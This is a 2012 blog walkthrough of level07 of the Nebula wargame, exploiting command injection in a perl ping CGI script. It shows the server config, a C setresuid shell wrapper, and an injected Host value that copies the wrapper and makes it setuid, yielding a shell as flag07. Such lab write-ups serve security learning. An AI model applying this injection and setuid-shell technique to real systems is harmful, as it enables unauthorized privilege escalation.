Saturday, August 11, 2012

nebula level07

The level description states that this is flag07's first perl script. It's an interface to the "ping" command. The source code is as follows:
It's used as a CGI script. Looking at flag07's home directory, we can see the http daemon config:
level07@nebula:~$ ls -l /home/flag07
total 8
-rwxr-xr-x 1 root root  368 Nov 20  2011 index.cgi
-rw-r--r-- 1 root root 3719 Nov 20  2011 thttpd.conf
level07@nebula:~$ cat /home/flag07/thttpd.conf
# /etc/thttpd/thttpd.conf: thttpd configuration file

# This file is for thttpd processes created by /etc/init.d/thttpd.
# Commentary is based closely on the thttpd(8) 2.25b manpage, by Jef Poskanzer.

# Specifies an alternate port number to listen on.
port=7007

# Specifies a directory to chdir() to at startup. This is merely a convenience -
# you could just as easily do a cd in the shell script that invokes the program.
dir=/home/flag07

# Do a chroot() at initialization time, restricting file access to the program's
# current directory. If chroot is the compiled-in default (not the case on
# Debian), then nochroot disables it. See thttpd(8) for details.
nochroot
#chroot

# Specifies a directory to chdir() to after chrooting. If you're not chrooting,
# you might as well do a single chdir() with the dir option. If you are
# chrooting, this lets you put the web files in a subdirectory of the chroot
# tree, instead of in the top level mixed in with the chroot files.
#data_dir=

# Don't do explicit symbolic link checking. Normally, thttpd explicitly expands
# any symbolic links in filenames, to check that the resulting path stays within
# the original document tree. If you want to turn off this check and save some
# CPU time, you can use the nosymlinks option, however this is not
# recommended. Note, though, that if you are using the chroot option, the
# symlink checking is unnecessary and is turned off, so the safe way to save
# those CPU cycles is to use chroot.
#symlinks
#nosymlinks

# Do el-cheapo virtual hosting. If vhost is the compiled-in default (not the
# case on Debian), then novhost disables it. See thttpd(8) for details.
#vhost
#novhost

# Use a global passwd file. This means that every file in the entire document
# tree is protected by the single .htpasswd file at the top of the tree.
# Otherwise the semantics of the .htpasswd file are the same. If this option is
# set but there is no .htpasswd file in the top-level directory, then thttpd
# proceeds as if the option was not set - first looking for a local .htpasswd
# file, and if that doesn't exist either then serving the file without any
# password. If globalpasswd is the compiled-in default (not the case on Debian),
# then noglobalpasswd disables it.
#globalpasswd
#noglobalpasswd

# Specifies what user to switch to after initialization when started as root.
user=flag07

# Specifies a wildcard pattern for CGI programs, for instance "**.cgi" or
# "/cgi-bin/*". See thttpd(8) for details.
cgipat=**.cgi

# Specifies a file of throttle settings. See thttpd(8) for details.
#throttles=/etc/thttpd/throttle.conf

# Specifies a hostname to bind to, for multihoming. The default is to bind to
# all hostnames supported on the local machine. See thttpd(8) for details.
#host=

# Specifies a file for logging. If no logfile option is specified, thttpd logs
# via syslog(). If logfile=/dev/null is specified, thttpd doesn't log at all.
#logfile=/var/log/thttpd.log

# Specifies a file to write the process-id to. If no file is specified, no
# process-id is written. You can use this file to send signals to thttpd. See
# thttpd(8) for details.
#pidfile=

# Specifies the character set to use with text MIME types.
#charset=iso-8859-1

# Specifies a P3P server privacy header to be returned with all responses. See
# http://www.w3.org/P3P/ for details. Thttpd doesn't do anything at all with the
# string except put it in the P3P: response header.
#p3p=

# Specifies the number of seconds to be used in a "Cache-Control: max-age"
# header to be returned with all responses. An equivalent "Expires" header is
# also generated. The default is no Cache-Control or Expires headers, which is
# just fine for most sites.
#max_age=
Notice that thttpd is configured to listen to port 7007. You can start experimenting with it right away by going to http://nebula:7007/index.cgi?Host=google.com

The vulnerability is clearly, once again, code injection. All we need to do is inject commands through the Host parameter. Like the other challenges, we want a shell, so let's compile a wrapper then make it SUID:
level07@nebula:~$ cat > /tmp/shell.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();

    setresuid(euid, euid, euid);
    system("sh");
    return 0;
}
level07@nebula:~$ make /tmp/shell
cc     /tmp/shell.c   -o /tmp/shell
Now we only need to make it SUID for flag07. We can inject the command to do so by setting the Host parameter to "; cp /tmp/shell /tmp/flag07_sh; chmod +s /tmp/flag07_sh". We need to be careful to URL encode it first.
level07@nebula:~$ php -r 'echo "Host=" . urlencode("; cp /tmp/shell /tmp/flag07_sh; chmod +s /tmp/flag07_sh");' > lethal_data
level07@nebula:~$ wget -q -O - --post-file=lethal_data 'localhost:7007/index.cgi'
Ping results

level07@nebula:~$ /tmp/flag07_sh
sh-4.2$ getflag
You have successfully executed getflag on a target account
flags++ :)

~ Dmitry

1 comment: